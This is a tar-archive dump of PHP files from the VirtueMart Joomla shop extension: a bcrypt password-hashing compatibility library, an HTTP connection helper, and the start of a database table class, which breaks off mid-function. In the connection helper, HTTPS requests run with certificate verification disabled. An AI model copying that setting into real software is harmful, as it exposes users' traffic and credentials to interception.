		$key = ($node->attributes('key_field') ? $node->attributes('key_field') : 'value');
		$val = ($node->attributes('value_field') ? $node->attributes('value_field') : $name);

		return JHTML::_('select.genericlist', $db->loadObjectList(), '' . $control_name . '[' . $name . ']', 'class="inputbox"', $key, $val, $value, $control_name . $name);
	}

}

/**
 * @param string
 * @return string
 */
function vmParseParams($txt) {
	return vmParameters::parse($txt);
}

// pure php no closing tag
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������password_compat.php���������������������������������������������������������������������������������0000666�����������������00000023727�15137212725�0010506 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
* A Compatibility library with PHP 5.5's simplified password hashing API.
*
* @author Anthony Ferrara <ircmaxell@php.net>
* @license http://www.opensource.org/licenses/mit-license.html MIT License
* @copyright 2012 The Authors
*/

namespace {

if (!defined('PASSWORD_DEFAULT')) {

    define('PASSWORD_BCRYPT', 1);
    define('PASSWORD_DEFAULT', PASSWORD_BCRYPT);

    /**
* Hash the password using the specified algorithm
*
* @param string $password The password to hash
* @param int $algo The algorithm to use (Defined by PASSWORD_* constants)
* @param array $options The options for the algorithm to use
*
* @return string|false The hashed password, or false on error.
*/
    function password_hash($password, $algo, array $options = array()) {
        if (!function_exists('crypt')) {
            trigger_error("Crypt must be loaded for password_hash to function", E_USER_WARNING);
            return null;
        }
        if (!is_string($password)) {
            trigger_error("password_hash(): Password must be a string", E_USER_WARNING);
            return null;
        }
        if (!is_int($algo)) {
            trigger_error("password_hash() expects parameter 2 to be long, " . gettype($algo) . " given", E_USER_WARNING);
            return null;
        }
        $resultLength = 0;
        switch ($algo) {
            case PASSWORD_BCRYPT:
                // Note that this is a C constant, but not exposed to PHP, so we don't define it here.
                $cost = 10;
                if (isset($options['cost'])) {
                    $cost = $options['cost'];
                    if ($cost < 4 || $cost > 31) {
                        trigger_error(sprintf("password_hash(): Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING);
                        return null;
                    }
                }
                // The length of salt to generate
                $raw_salt_len = 16;
                // The length required in the final serialization
                $required_salt_len = 22;
                $hash_format = sprintf("$2y$%02d$", $cost);
                // The expected length of the final crypt() output
                $resultLength = 60;
                break;
            default:
                trigger_error(sprintf("password_hash(): Unknown password hashing algorithm: %s", $algo), E_USER_WARNING);
                return null;
        }
        $salt_requires_encoding = false;
        if (isset($options['salt'])) {
            switch (gettype($options['salt'])) {
                case 'NULL':
                case 'boolean':
                case 'integer':
                case 'double':
                case 'string':
                    $salt = (string) $options['salt'];
                    break;
                case 'object':
                    if (method_exists($options['salt'], '__tostring')) {
                        $salt = (string) $options['salt'];
                        break;
                    }
                case 'array':
                case 'resource':
                default:
                    trigger_error('password_hash(): Non-string salt parameter supplied', E_USER_WARNING);
                    return null;
            }
            if (PasswordCompat\binary\_strlen($salt) < $required_salt_len) {
                trigger_error(sprintf("password_hash(): Provided salt is too short: %d expecting %d", PasswordCompat\binary\_strlen($salt), $required_salt_len), E_USER_WARNING);
                return null;
            } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D', $salt)) {
                $salt_requires_encoding = true;
            }
        } else {
            $buffer = '';
            $buffer_valid = false;
            if (function_exists('mcrypt_create_iv') && !defined('PHALANGER')) {
                $buffer = mcrypt_create_iv($raw_salt_len, MCRYPT_DEV_URANDOM);
                if ($buffer) {
                    $buffer_valid = true;
                }
            }
            if (!$buffer_valid && function_exists('openssl_random_pseudo_bytes')) {
                $buffer = openssl_random_pseudo_bytes($raw_salt_len);
                if ($buffer) {
                    $buffer_valid = true;
                }
            }
            if (!$buffer_valid && @is_readable('/dev/urandom')) {
                $f = fopen('/dev/urandom', 'r');
                $read = PasswordCompat\binary\_strlen($buffer);
                while ($read < $raw_salt_len) {
                    $buffer .= fread($f, $raw_salt_len - $read);
                    $read = PasswordCompat\binary\_strlen($buffer);
                }
                fclose($f);
                if ($read >= $raw_salt_len) {
                    $buffer_valid = true;
                }
            }
            if (!$buffer_valid || PasswordCompat\binary\_strlen($buffer) < $raw_salt_len) {
                $bl = PasswordCompat\binary\_strlen($buffer);
                for ($i = 0; $i < $raw_salt_len; $i++) {
                    if ($i < $bl) {
                        $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0, 255));
                    } else {
                        $buffer .= chr(mt_rand(0, 255));
                    }
                }
            }
            $salt = $buffer;
            $salt_requires_encoding = true;
        }
        if ($salt_requires_encoding) {
            // encode string with the Base64 variant used by crypt
            $base64_digits =
                'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
            $bcrypt64_digits =
                './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

            $base64_string = base64_encode($salt);
            $salt = strtr(rtrim($base64_string, '='), $base64_digits, $bcrypt64_digits);
        }
        $salt = PasswordCompat\binary\_substr($salt, 0, $required_salt_len);

        $hash = $hash_format . $salt;

        $ret = crypt($password, $hash);

        if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != $resultLength) {
            return false;
        }

        return $ret;
    }

    /**
* Get information about the password hash. Returns an array of the information
* that was used to generate the password hash.
*
* array(
* 'algo' => 1,
* 'algoName' => 'bcrypt',
* 'options' => array(
* 'cost' => 10,
* ),
* )
*
* @param string $hash The password hash to extract info from
*
* @return array The array of information about the hash.
*/
    function password_get_info($hash) {
        $return = array(
            'algo' => 0,
            'algoName' => 'unknown',
            'options' => array(),
        );
        if (PasswordCompat\binary\_substr($hash, 0, 4) == '$2y$' && PasswordCompat\binary\_strlen($hash) == 60) {
            $return['algo'] = PASSWORD_BCRYPT;
            $return['algoName'] = 'bcrypt';
            list($cost) = sscanf($hash, "$2y$%d$");
            $return['options']['cost'] = $cost;
        }
        return $return;
    }

    /**
* Determine if the password hash needs to be rehashed according to the options provided
*
* If the answer is true, after validating the password using password_verify, rehash it.
*
* @param string $hash The hash to test
* @param int $algo The algorithm used for new password hashes
* @param array $options The options array passed to password_hash
*
* @return boolean True if the password needs to be rehashed.
*/
    function password_needs_rehash($hash, $algo, array $options = array()) {
        $info = password_get_info($hash);
        if ($info['algo'] != $algo) {
            return true;
        }
        switch ($algo) {
            case PASSWORD_BCRYPT:
                $cost = isset($options['cost']) ? $options['cost'] : 10;
                if ($cost != $info['options']['cost']) {
                    return true;
                }
                break;
        }
        return false;
    }

    /**
* Verify a password against a hash using a timing attack resistant approach
*
* @param string $password The password to verify
* @param string $hash The hash to verify against
*
* @return boolean If the password matches the hash
*/
    function password_verify($password, $hash) {
        if (!function_exists('crypt')) {
            trigger_error("Crypt must be loaded for password_verify to function", E_USER_WARNING);
            return false;
        }
        $ret = crypt($password, $hash);
        if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != PasswordCompat\binary\_strlen($hash) || PasswordCompat\binary\_strlen($ret) <= 13) {
            return false;
        }

        $status = 0;
        for ($i = 0; $i < PasswordCompat\binary\_strlen($ret); $i++) {
            $status |= (ord($ret[$i]) ^ ord($hash[$i]));
        }

        return $status === 0;
    }
}

}

namespace PasswordCompat\binary {
    /**
* Count the number of bytes in a string
*
* We cannot simply use strlen() for this, because it might be overwritten by the mbstring extension.
* In this case, strlen() will count the number of *characters* based on the internal encoding. A
* sequence of bytes might be regarded as a single multibyte character.
*
* @param string $binary_string The input string
*
* @internal
* @return int The number of bytes
*/
    function _strlen($binary_string) {
           if (function_exists('mb_strlen')) {
               return mb_strlen($binary_string, '8bit');
           }
           return strlen($binary_string);
    }

    /**
* Get a substring based on byte limits
*
* @see _strlen()
*
* @param string $binary_string The input string
* @param int $start
* @param int $length
*
* @internal
* @return string The substring
*/
    function _substr($binary_string, $start, $length) {
       if (function_exists('mb_substr')) {
           return mb_substr($binary_string, $start, $length, '8bit');
       }
       return substr($binary_string, $start, $length);
   }

}

�����������������������������������������connection.php��������������������������������������������������������������������������������������0000666�����������������00000026051�15137212725�0007431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
if( !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/**
 *
 * @version $Id:connection.php 431 2006-10-17 21:55:46 +0200 (Di, 17 Okt 2006) soeren_nb $
 * @package VirtueMart
 * @subpackage classes
 * @copyright Copyright (C) 2004-2007 soeren, 2009-2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.org
 */

/**
 * Provides general tools to handle connections (http, headers, ... )
 *
 * @author soeren
 * @since VirtueMart 1.1.0
 */
class VmConnector {

    var $handle = null;

    /**
     * Clears the output buffer, sends a http status code and a content if given
     * @static
     * @param int $http_status
     * @param string $mime_type
     * @param string $content
     */
    function sendHeaderAndContent( $http_status=200, $content='', $mime_type='text/html' ) {

	// Clear all Joomla header and buffer stuff
	while( @ob_end_clean() );

	$http_status = intval( $http_status );
	@header("HTTP/1.0 $http_status");
	if( $mime_type ) {
	    @header( "Content-type: $mime_type; charset=".vmGetCharset() );
	} elseif( $mime_type != '' ) {
	    @header( "Content-type: text/html; charset=".vmGetCharset() );
	}
	if( $content ) {
	    echo $content;
	}
    }
    /**
     * This is a general function to safely open a connection to a server,
     * post data when needed and read the result.
     * Tries using cURL and switches to fopen/fsockopen if cURL is not available
     * @since VirtueMart 1.1.0
     * @static
     * @param string $url
     * @param string $postData
     * @param array $headers
     * @param resource $fileToSaveData
     * @return mixed
     */
    static function handleCommunication( $url, $postData='', $headers=array(), $fileToSaveData=null ) {

	$urlParts = parse_url( $url );
	if( !isset( $urlParts['port'] )) $urlParts['port'] = 80;
	if( !isset( $urlParts['scheme'] )) $urlParts['scheme'] = 'http';

	if( isset( $urlParts['query'] )){
		 $urlParts['query'] = '?'.$urlParts['query'];
		if( isset( $urlParts['path'] )) $urlParts['path'] = $urlParts['path'].$urlParts['query'];
	}

	$vm_proxy_url = VmConfig::get('conf_VM_PROXY_URL','');
	// Check proxy
	if( trim( $vm_proxy_url ) != '') {
	    if( !stristr($vm_proxy_url, 'http')) {
		$proxyURL['host'] = $vm_proxy_url;
		$proxyURL['scheme'] = 'http';
	    } else {
		$proxyURL = parse_url($vm_proxy_url);
	    }
	}
	else {
	    $proxyURL = '';
	}

	if( function_exists( "curl_init" ) && function_exists( 'curl_exec' ) ) {
	    $CR = curl_init();
	    curl_setopt($CR, CURLOPT_URL, $url);

	    // just to get sure the script doesn't die
	    curl_setopt($CR, CURLOPT_TIMEOUT, 30 );
	    if( !empty( $headers )) {
		// Add additional headers if provided
		curl_setopt($CR, CURLOPT_HTTPHEADER, $headers);
	    }
	    curl_setopt($CR, CURLOPT_FAILONERROR, true);
	    if( $postData ) {
		curl_setopt($CR, CURLOPT_POSTFIELDS, $postData );
		curl_setopt($CR, CURLOPT_POST, 1);
	    }
	    if( is_resource($fileToSaveData)) {
		curl_setopt($CR, CURLOPT_FILE, $fileToSaveData );
	    } else {
		curl_setopt($CR, CURLOPT_RETURNTRANSFER, 1);
	    }
	    // Do we need to set up the proxy?
	    if( !empty($proxyURL) ) {
//		$vmLogger->debug( 'Setting up proxy: '.$proxyURL['host'].':'.VM_PROXY_PORT );
		//curl_setopt($CR, CURLOPT_HTTPPROXYTUNNEL, true);
		curl_setopt($CR, CURLOPT_PROXY, $proxyURL['host'] );
		curl_setopt($CR, CURLOPT_PROXYPORT, VM_PROXY_PORT );
		// Check if the proxy needs authentication
		if( trim( @VM_PROXY_USER ) != '') {
//		    $vmLogger->debug( 'Using proxy authentication!' );
		    curl_setopt($CR, CURLOPT_PROXYUSERPWD, VM_PROXY_USER.':'.VM_PROXY_PASS );
		}
	    }

	    if( $urlParts['scheme'] == 'https') {
		// No PEER certificate validation...as we don't have
		// a certificate file for it to authenticate the host www.ups.com against!
		curl_setopt($CR, CURLOPT_SSL_VERIFYPEER, 0);
		//curl_setopt($CR, CURLOPT_SSLCERT , "/usr/locale/xxxx/clientcertificate.pem");
	    }
	    $result = curl_exec( $CR );
	    $error = curl_error( $CR );
	    if( !empty( $error ) && stristr( $error, '502') && !empty( $proxyURL )) {
//		$vmLogger->debug( 'Switching to NTLM authenticaton.');
		curl_setopt( $CR, CURLOPT_PROXYAUTH, CURLAUTH_NTLM );
		$result = curl_exec( $CR );
		$error = curl_error( $CR );
	    }
	    curl_close( $CR );

	    if( !empty( $error )) {
			//JError::raiseError(1, $error );
			return false;
	    } else {
			return $result;
	    }
	} else {
	    if( $postData ) {
			if( !empty( $proxyURL )) {
			    // If we have something to post we need to write into a socket
			    if( $proxyURL['scheme'] == 'https') {
				$protocol = 'ssl';
			    }
			    else {
				$protocol = 'http';
			    }
			    $fp = fsockopen("$protocol://".$proxyURL['host'], VM_PROXY_PORT, $errno, $errstr, $timeout = 30);
			}
			else {
			    // If we have something to post we need to write into a socket
			    if( $urlParts['scheme'] == 'https') {
				$protocol = 'ssl';
			    }
			    else {
				$protocol = $urlParts['scheme'];
			    }
			    $fp = fsockopen("$protocol://".$urlParts['host'], $urlParts['port'], $errno, $errstr, $timeout = 30);
			}
	    } else {
			if( !empty( $proxyURL )) {
			    // Do a read-only fopen transaction
			    $fp = fopen( $proxyURL['scheme'].'://'.$proxyURL['host'].':'.VM_PROXY_PORT, 'rb' );
			}
			else {
			    // Do a read-only fopen transaction
			    $fp = fopen( $urlParts['scheme'].'://'.$urlParts['host'].':'.$urlParts['port'].$urlParts['path'], 'rb' );
			}
	    }
	    if(!$fp) {
			//error tell us
			JError::raiseWarning(1, 'Possible server error! - '.$errstr .'('.$errno.')\n' );
			return false;
	    }
	    else {
	    	//Would be interesting to set this only for debug
//			JError::raiseNotice(1, 'Connection opened to '.$urlParts['host']);
	    }
	    if( $postData ) {
//		$vmLogger->debug('Now posting the variables.' );
			//send the server request
			if( !empty( $proxyURL )) {
			    fputs($fp, "POST ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n");
			    fputs($fp, "Host: ".$proxyURL['host']."\r\n");

			    if( trim( @VM_PROXY_USER )!= '') {
				fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n");
			    }
			}
			else {
			    fputs($fp, 'POST '.$urlParts['path']." HTTP/1.0\r\n");
			    fputs($fp, 'Host:'. $urlParts['host']."\r\n");
			}
			fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
			fputs($fp, "Content-length: ".strlen($postData)."\r\n");
			fputs($fp, "Connection: close\r\n\r\n");
			fputs($fp, $postData . "\r\n\r\n");
	    } else {
			if( !empty( $proxyURL )) {
			    fputs($fp, "GET ".$urlParts['host'].':'.$urlParts['port'].$urlParts['path']." HTTP/1.0\r\n");
			    fputs($fp, "Host: ".$proxyURL['host']."\r\n");
			    if( trim( @VM_PROXY_USER )!= '') {
				fputs($fp, "Proxy-Authorization: Basic " . base64_encode (VM_PROXY_USER.':'.VM_PROXY_PASS ) . "\r\n\r\n");
			    }
			}
			else {
//				JError::raiseNotice(1, 'Host:'. $urlParts['host'].' path: '. $urlParts['path'] );
			    fputs($fp, 'GET '.$urlParts['path']." HTTP/1.0\r\n");
			    fputs($fp, 'Host:'. $urlParts['host']."\r\n");
			}
	    }
	    // Add additional headers if provided
	    foreach( $headers as $header ) {
			fputs($fp, $header."\r\n");
	    }
	    $data = "";
	    while (!feof($fp)) {
			$data .= @fgets ($fp, 4096);
	    }
	    fclose( $fp );

	    // If didnt get content-lenght, something is wrong, return false.
	    if ( trim($data) == '' ) {
			JError::raiseWarning(E_WARNING,'An error occured while communicating with the server '.$urlParts['host'].'. It didn\'t reply (correctly). Please try again later, thank you.' );
			return false;
	    }
	    $result = trim( $data );
	    if( is_resource($fileToSaveData )) {
			fwrite($fileToSaveData, $result );
			return true;
	    } else {
			return $result;
	    }
	}
    }
    /**
     * Set headers and send the file to the client
     *
     * @author Andreas Gohr <andi@splitbrain.org>
     * @param string The full path to the file
     * @param string The Mime Type of the file
     */
    function sendFile($file,$mime, $overrideFileName='') {

	// send headers
	header("Content-Type: $mime");

	list($start,$len) = VmConnector::http_rangeRequest(filesize($file));

	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Pragma: public');
	header('Accept-Ranges: bytes');

	//application mime type is downloadable
	if(strtolower(substr($mime,0,11)) == 'application') {
	    if( $overrideFileName == '') {
		$filename = basename($file);
	    } else {
		$filename = $overrideFileName;
	    }
	    header('Content-Disposition: attachment; filename="'.$filename.'";');
	}

	$chunksize = 1*(1024*1024);
	// send file contents
	$fp = @fopen($file,"rb");
	if($fp) {
	    fseek($fp,$start); //seek to start of range

	    $chunk = ($len > $chunksize) ? $chunksize : $len;
	    while (!feof($fp) && $chunk > 0) {
		@set_time_limit(); // large files can take a lot of time
		print fread($fp, $chunk);
		flush();
		$len -= $chunk;
		$chunk = ($len > $chunksize) ? $chunksize : $len;
	    }
	    fclose($fp);
	}else {
	    header("HTTP/1.0 500 Internal Server Error");
	    print "Could not read $file - bad permissions?";
	    JFactory::getApplication()->close(true);
	}
    }
    /**
     * Checks and sets headers to handle range requets
     *
     * @author  Andreas Gohr <andi@splitbrain.org>
     * @return array The start byte and the amount of bytes to send
     * @param int The file size
     */
    function http_rangeRequest($size, $exitOnError=true ) {

	if(!isset($_SERVER['HTTP_RANGE'])) {
	    // no range requested - send the whole file
	    header("Content-Length: $size");
	    return array(0,$size);
	}

	$t = explode('=', $_SERVER['HTTP_RANGE']);
	if (!$t[0]=='bytes') {
	    // we only understand byte ranges - send the whole file
	    header("Content-Length: $size");
	    return array(0,$size);
	}

	$r = explode('-', $t[1]);
	$start = (int)$r[0];
	$end = (int)$r[1];
	if (!$end) $end = $size - 1;
	if ($start > $end || $start > $size || $end > $size) {
	    if( $exitOnError ) {
		header('HTTP/1.1 416 Requested Range Not Satisfiable');
		print 'Bad Range Request!';
		JFactory::getApplication()->close(true);
	    } else {
		return array(0,$size);
	    }
	}

	$tot = $end - $start + 1;
	header('HTTP/1.1 206 Partial Content');
	header("Content-Range: bytes {$start}-{$end}/{$size}");
	header("Content-Length: $tot");

	return array($start,$tot);
    }
}
// pure php no closing tag���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmtable.php�����������������������������������������������������������������������������������������0000666�����������������00000141065�15137212725�0006727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

/**
 * virtuemart table class, with some additional behaviours.
 *
 * @version $Id$
 * @package    VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 -2014 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */
defined('_JEXEC') or die();

/**
 * Replaces JTable with some more advanced functions and fitting to the nooku conventions
 *
 * checked_out = locked_by,checked_time = locked_on
 *
 * Enter description here ...
 * @author Milbo
 *
 */
class VmTable extends JTable {

	protected $_pkey = '';
	protected $_pkeyForm = '';
	protected $_obkeys = array();
	protected $_unique = false;
	protected $_unique_name = array();
	protected $_orderingKey = 'ordering';

	protected $_slugAutoName = '';
	protected $_slugName = '';
	protected $_loggable = false;
	public $_xParams = 0;
	public $_varsToPushParam = array();
	var $_translatable = false;
	protected $_translatableFields = array();
	public $_cryptedFields = false;
	protected $_langTag = null;
	protected $_ltmp = false;
	protected $_tbl_lang = null;
	protected $_updateNulls = false;

	private static $_cache = array();

	/**
	 * @param string $table
	 * @param string $key
	 * @param JDatabase $db
	 */
	function __construct($table, $key, &$db) {

		$this->_tbl = $table;
		$this->_db =& $db;
		$this->_pkey = $key;

		if(JVM_VERSION<3){
			$this->_tbl_key = $key;
		} else {
			// Set the key to be an array.
			if (is_string($key)){
				$key = array($key);
			} elseif (is_object($key)){
				$key = (array) $key;
			}

			$this->_tbl_keys = $key;

			if (count($key) == 1) {
				$this->_autoincrement = true;
			} else {
				$this->_autoincrement = false;
			}

			// Set the singular table key for backwards compatibility.
			$this->_tbl_key = $this->getKeyName();
		}

		// If we are tracking assets, make sure an access field exists and initially set the default.
		if (property_exists($this, 'asset_id')){
			$this->_trackAssets = true;
		}

		// If the access property exists, set the default.
		if (property_exists($this, 'access')){
			$this->access = (int) JFactory::getConfig()->get('access');
		}

		if(JVM_VERSION>2){
			// Implement JObservableInterface:
			// Create observer updater and attaches all observers interested by $this class:
			$this->_observers = new JObserverUpdater($this);
			JObserverMapper::attachAllObservers($this);
		}

	}

	public function setPrimaryKey($key, $keyForm = 0) {

		$error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key)));
		$this->setObligatoryKeys('_pkey', $error);
		$this->_pkey = $key;
		$this->_pkeyForm = empty($keyForm) ? $key : $keyForm;
		$this->$key = 0;
	}

	public function getPKey(){
		return $this->_pkey;
	}

	public function setObligatoryKeys($key) {

		$error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($key)));
		$this->_obkeys[$key] = $error;
	}

	public function setUniqueName($name) {

		$error = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
		$this->_unique = true;
		$this->_obkeys[$name] = $error;
		$this->_unique_name[$name] = $error;
	}

	public function setLoggable() {

		$this->_loggable = true;
		$this->created_on = false;
		$this->created_by = 0;
		$this->modified_on = '';
		$this->modified_by = 0;
	}

	/**
	 *
	 * @author Patrick Kohl,
	 * @author Max Milbers
	 */
	public function setTranslatable($langFields) {

		$this->_translatableFields = $langFields;
		$this->_translatableFields['slug'] = 'slug';
		$this->_translatable = true;

		if (!class_exists('VmConfig')) require(JPATH_COMPONENT_ADMINISTRATOR .'helpers/config.php');
		VmConfig::loadConfig();

		$this->_langTag = VmConfig::$vmlang;
		$this->_tbl_lang = $this->_tbl . '_' . $this->_langTag;
	}

	public function getTranslatableFields() {

		return $this->_translatableFields;
	}

	public function setLockable() {

		$this->locked_on = '';
		$this->locked_by = 0;
	}

	function setOrderable($key = 'ordering', $auto = true) {

		$this->_orderingKey = $key;
		$this->_orderable = 1;
		$this->_autoOrdering = $auto;
		$this->$key = 0;
	}

	function setSlug($slugAutoName, $key = 'slug') {

		// 		$this->_useSlug = true;
		$this->_slugAutoName = $slugAutoName;
		$this->_slugName = $key;
		$this->$key = '';
		$this->setUniqueName($key);

	}

	var $_tablePreFix = '';

	function setTableShortCut($prefix) {

		$this->_tablePreFix = $prefix . '.';
	}

	public function emptyCache(){
		self::$_cache = array();
	}

	/**
	 * This function defines a database field as parameter field, which means that some values get injected there
	 * As delimiters are used | for the pair and = for key, value
	 *
	 * @author Max Milbers
	 * @param string $paramsFieldName
	 * @param string $varsToPushParam
	 * @param boolean $overwrite
	 */
	function setParameterable($paramsFieldName, $varsToPushParam, $overwrite = false) {

		//if($this->_xParams===0)
		$this->_xParams = $paramsFieldName;

		if ($overwrite) {
			$this->_varsToPushParam = $varsToPushParam;
		} else {
			$this->_varsToPushParam = array_merge((array)$varsToPushParam, (array)$this->_varsToPushParam);
		}

		foreach ($this->_varsToPushParam as $k => $v) {
			if (!isset($this->$k)) $this->$k = $v[0];
		}
		//vmdebug('setParameterable called '.$this->_xParams,$this->_varsToPushParam);
	}


	/**
	 * This function must be
	 * Takes the bounded values at obj of the field $xParams
	 * and adds them as attributs of obj
	 * @param $obj
	 * @param $xParams
	 * @param $varsToPushParam
	 */
	static function bindParameterable(&$obj, $xParams, $varsToPushParam) {

		if(empty($varsToPushParam)) return;
		//$paramFields = $obj->$xParams;
		//vmdebug('$obj->_xParams '.$xParams.' $varsToPushParam ',$varsToPushParam);
		if(is_object($obj)){
			if (!empty($obj->$xParams)) {

				$params = explode('|', $obj->$xParams);
				foreach ($params as $item) {

					$item = explode('=', $item);
					$key = $item[0];
					unset($item[0]);

					$item = implode('=', $item);

					if (!empty($item) && isset($varsToPushParam[$key][1])) {
						$obj->$key = json_decode($item);
					}
				}

			} else {
				if (empty($xParams)) {
					//vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam);
					vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj);
					vmTrace('$xParams is empty');
				}
				if(!isset($obj->$xParams)){
					//vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams);
					vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj);
					vmTrace('$obj->$xParams is empty');
				}
			}

			foreach ($varsToPushParam as $key => $v) {
				if (!isset($obj->$key)) {
					$obj->$key = $v[0];
				}
			}
		} else {
			if (!empty($obj[$xParams])) {

				$params = explode('|', $obj[$xParams]);
				foreach ($params as $item) {

					$item = explode('=', $item);
					$key = $item[0];
					unset($item[0]);

					$item = implode('=', $item);

					if (!empty($item) && isset($varsToPushParam[$key][1])) {
						$obj[$key] = json_decode($item);
					}
				}
			} else {
				if (empty($xParams)) {
					//vmError('There are bindParameterables, but $xParams is empty, this is a programmers error ',$varsToPushParam);
					vmdebug('There are bindParameterables, but $xParams is empty, this is a programmers error ', $obj);
					vmTrace('$xParams is empty');
				}
				if(!isset($obj[$xParams])){
					//vmError('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error '.$xParams);
					vmdebug('There are bindParameterables, but $obj->$xParams is empty, this is a programmers error ',$xParams , $obj);
					vmTrace('$obj->$xParams is empty');
				}
			}

			foreach ($varsToPushParam as $key => $v) {
				if (!isset($obj[$key])) {
					$obj[$key] = $v[0];
				}
			}
		}

	}

	/**
	 * Sets fields encrypted
	 * @author Max Milbers
	 * @param $fieldNames
	 */
	public function setCryptedFields($fieldNames){
		if(!$fieldNames){
			vmTrace('setEncrytped fields false not catched');
			return;
		}
		if(!is_array($fieldNames)) $fieldNames = array($fieldNames);
		if(isset($fieldNames[$this->_pkey])){
			unset($fieldNames[$this->_pkey]);
		}
		$this->_cryptedFields = $fieldNames;
	}

	/**
	 *
	 */
	public function getCryptedFields(){
		return $this->_cryptedFields;
	}


	/**
	 * Gives Back the columns of the current table, sets the properties on the table.
	 *
	 * @author Max Milbers
	 * @param int $typeKey use "Field" to get the effect of getTableColumns
	 * @param int $typeValue use "Type" to get the effect of getTableColumns
	 * @param bool $properties disable setting of columns as table properties
	 */
	public function showFullColumns($typeKey=0,$typeValue=0,$properties=true){

		$hash = 'SFL'.$this->_tbl.$typeKey.$typeValue;
		if (!isset(self::$_cache[$hash])) {
			$this->_db->setQuery('SHOW FULL COLUMNS  FROM `'.$this->_tbl.'` ') ;
			self::$_cache[$hash] = $this->_db->loadAssocList();
		}

		if ($properties and count(self::$_cache[$hash]) > 0) {
			foreach (self::$_cache[$hash] as $key => $_f) {
				$_fieldlist[$_f['Field']] = $_f['Default'];
			}
			$this->setProperties($_fieldlist);
		}

		if ($typeKey or $typeValue){
			foreach (self::$_cache[$hash] as $field){
				if(empty($typeValue)){
					$value = $field;
				} else {
					$value = $field[$typeValue];
				}
				if($typeKey){
					$result[$field[$typeKey]] = $value;
				} else {
					$result[] = $value;
				}
			}
		} else {
			$result = self::$_cache[$hash];
		}

		return $result;
	}

	public function loadFields(){
		return $this->showFullColumns();
	}

	function loadFieldValues($array=true){

		$tmp = get_object_vars($this);
		if($array){
			$return = array();
			foreach ($tmp as $k => $v){
				// Do not process internal variables
				if ('_' != substr($k, 0, 1)){
					$return[$k] = $v;
				}
			}
		} else {
			$return = new stdClass();
			foreach ($tmp as $k => $v){
				// Do not process internal variables
				if ('_' != substr($k, 0, 1)){
					$return->$k = $v;
				}
			}
		}

		return $return;
	}

	function checkDataContainsTableFields($from, $ignore = array()) {

		if (empty($from))
			return false;
		$fromArray = is_array($from);
		$fromObject = is_object($from);

		if (!$fromArray && !$fromObject) {
			vmError(get_class($this) . '::check if data contains table fields failed. Invalid from argument <pre>' . print_r($from, 1) . '</pre>');
			return false;
		}
		if (!is_array($ignore)) {
			$ignore = explode(' ', $ignore);
		}

		foreach ($this->getProperties() as $k => $v) {
			// internal attributes of an object are ignored
			if (!in_array($k, $ignore)) {

				if ($fromArray && isset($from[$k])) {
					return true;
				} else if ($fromObject && isset($from->$k)) {
					return true;
				}
			}
		}
		vmdebug('VmTable developer notice, table ' . get_class($this) . ' means that there is no data to store. When you experience that something does not get stored as expected, please write in the forum.virtuemart.net');
		return false;
	}

	/**
	 * Function setting the loggable data hack procted
	 * In case you want to override the value for administrators, just set the created_on to "0000-00-00 00:00:00"
	 *
	 * @author Max Milbers
	 */
	function setLoggableFieldsForStore() {

		if ($this->_loggable) {

			// set default values always used

			//We store in UTC time, dont touch it!
			$date = JFactory::getDate();
			$today = $date->toSQL();
			//vmdebug('my today ',$date);
			$user = JFactory::getUser();

			$pkey = $this->_pkey;
			//Lets check if the user is admin or the mainvendor
			$admin = JFactory::getUser()->authorise('core.admin', 'com_virtuemart');
